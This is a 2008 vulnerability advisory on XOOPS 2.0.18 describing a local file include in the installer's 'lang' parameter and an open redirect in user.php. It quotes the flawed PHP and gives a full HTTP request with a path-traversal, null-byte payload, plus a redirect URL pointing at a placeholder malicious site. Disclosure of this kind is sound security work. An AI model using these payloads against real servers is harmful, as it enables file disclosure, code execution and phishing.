[DSECRG-08-009] xoops 2.0.18 Local File Include Feb 04 2008 05:19PM
Digital Security Research Group (research dsec ru)
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-009

Application: XOOPS
Versions Affected: XOOPS 2.0.18
Vendor URL: http://www.xoops.org/
Bugs: Local File Include,URL Redirecting phishing
Exploits: YES
Reported: 28.01.2008
Vendor response: 28.01.2008
Date of Public Advisory: 04.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

XOOPS system has multiple security vulnerabilities:

1. Local File Include
2. Url redirection Phishing

Details
*******

1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script htdocs/install/index.php vulnerable POST parameter lang

vulnerable code:

************************************************

$language = 'english';
if ( !empty($_POST['lang']) ) {
$language = $_POST['lang'];
.
.
.
.

if ( file_exists("./language/".$language."/install.php") ) {
include_once "./language/".$language."/install.php";

************************************************

Example:

POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php

lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next

---------------------------------------------------------------------

2. URL Redirection phishing

Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect"

Example:

http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evils
ite.com

Fix Information
***************

Vendor fix this flaw in svn on 28.10.2007.

http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282

Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=188
1236&group_id=41586

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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